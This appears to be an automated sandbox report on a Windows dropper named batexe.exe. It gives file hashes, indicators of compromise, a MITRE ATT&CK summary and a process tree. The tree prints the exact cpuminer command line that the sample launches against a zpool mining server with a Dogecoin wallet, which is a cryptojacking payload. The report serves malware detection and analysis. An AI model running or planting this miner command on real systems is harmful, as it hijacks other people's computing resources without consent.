73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 02:45

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1628	b2e.exe
4644	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4644	cpuminer-sse2.exe
4644	cpuminer-sse2.exe
4644	cpuminer-sse2.exe
4644	cpuminer-sse2.exe
4644	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2996-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 1628	2996	batexe.exe	75
PID 2996 wrote to memory of 1628	2996	batexe.exe	75
PID 2996 wrote to memory of 1628	2996	batexe.exe	75
PID 1628 wrote to memory of 2740	1628	b2e.exe	76
PID 1628 wrote to memory of 2740	1628	b2e.exe	76
PID 1628 wrote to memory of 2740	1628	b2e.exe	76
PID 2740 wrote to memory of 4644	2740	cmd.exe	79
PID 2740 wrote to memory of 4644	2740	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Users\Admin\AppData\Local\Temp\A5F4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A5F4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A5F4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AA1B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A5F4.tmp\b2e.exe

Filesize
8.0MB

MD5
fb97bc90c3da21d5f5290d4a43ff5ed2

SHA1
a1c7ad125b8cc3ac83970ce7284df45b7faf6d93

SHA256
1d2f066755a5bdf0b71e6e91d4580639a87563796f5be1dec711d137fc74b1e8

SHA512
052c0cb43e03fdc0cea00c2d0d0ec78be5085e646c5080bc2818af6f65a2665fa23b6093628f137c5e9583cb1d062e9f48f910c9a447b7164345cb7cf87a6f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\A5F4.tmp\b2e.exe

Filesize
2.8MB

MD5
271f1f58742aff0ebf71fc0c3ab4a9cf

SHA1
63ef4434110ac1ca03865b31406c2921e58bed73

SHA256
9f712a59b09b14ca76baae87d480dac0b1c38e4c7eea45140c28997774690279

SHA512
18ade3b96c697954d59b8697eadae2cbdd856ebe9885f21d2966041e5dbbe9d9e150954105154f92bd78d1c3100435791b20a105d708b62986cc8910c362dccc

Download Submit
C:\Users\Admin\AppData\Local\Temp\AA1B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.2MB

MD5
f7ae117e46ef2a009efa0a66418fb118

SHA1
b40c39ee2a10f0ec7336268027baa91ad8f52a76

SHA256
42c7e4fab47d28adb6aa74262b2fb6c65c045dd08ec838a23c063b11157d0143

SHA512
7d7541561de6a229a129215e6e4ec852dcc8d0c2518e0552ce8e1b695d3c898e52d634cba2fc9ce08f23cbdd608366a6ea5a87f26cec96eaa835e5393d81a370

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
64KB

MD5
6cccf65bd7d7ff5b53aeb882e15c462c

SHA1
a9822b63ad70c6085ed1deda0fbe4bc5fe555f3d

SHA256
1379cd6111c2c37cf16f2dd9b325118513e85c35543ba45e79deb504dd4c01d2

SHA512
c174b5f8615131c2b86c57aee166744ee1fe02ff7c916195f2fde06684f467545a3fa4f88083335e2045d12727d774279dc8672ec352de3095b729aa5d1dedcb

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
15KB

MD5
88b0df511928c415e9697b6c5a73f5ab

SHA1
214146d14a77ffe339c8408e435b70e49e2b4cfc

SHA256
360e754525c09d38da50f253441aaabe645b6263a086ed463f28a23715e25e92

SHA512
1d3aea9da6b90015086890f9abfdbb6dd5a3ebbf095c487338aa9a79b07bab423485bbbe0e34d8222cded365d8544886dbb716ea7ae3fd691655009b827fe390

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.8MB

MD5
a9a678d0450a3533061902616205e799

SHA1
7da796d0b638d4f93a02187f78e7061aefc9a38e

SHA256
46d7bb1b6c1e6c00b7e17ae7d2e8c3efbb8d1f2cb0fa211253457bacf103f201

SHA512
7cf4ffaa57b88f8897ddbf7b90f16ba638c0398c0b9ed9ccbafee786cec2a6f63c25704e1d28a37304c2c9ccf67c09c7382770cd7e06915b4d98f44ff41cb41f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.7MB

MD5
0d68486ad538ab81d50be3aaf88ce82d

SHA1
579caa3e0a74155a365fd5ccfd639dd351ef7c14

SHA256
e91ff37a605a8ea9948c14e5702dfdd92d1461f1eddedd2130cf362ab09d14c4

SHA512
de26c3f02536c3a11fe3321362c1a5573d827fd52a81f914f1dbe15567fafbfbdcf3489598f3c1d835ff2d80c6fe22dc17a3ad4b846361b76ab9c2e766ab9f7c

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
14KB

MD5
57bc28e77ba7f02252d5d1c6ebeb7e33

SHA1
03d31966e052d14ff5f92d69ceacf8fc886e003c

SHA256
094b3dcb3308d87ee8c065d27dc1e0ee818c68d37312bdbc03af9c88f20914aa

SHA512
c11bdf493da9bac705cf4d31330ad4bfe2e93c5aa6c0812c47906645e441981880cd651ab20b53e0e9770053d8e3b5a7acdd515ec74f6e16a8c2cdccf49229d4

Download Submit
memory/1628-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1628-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2996-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4644-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4644-43-0x00000000758A0000-0x0000000075938000-memory.dmp

Filesize
608KB

Download
memory/4644-44-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/4644-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4644-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4644-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download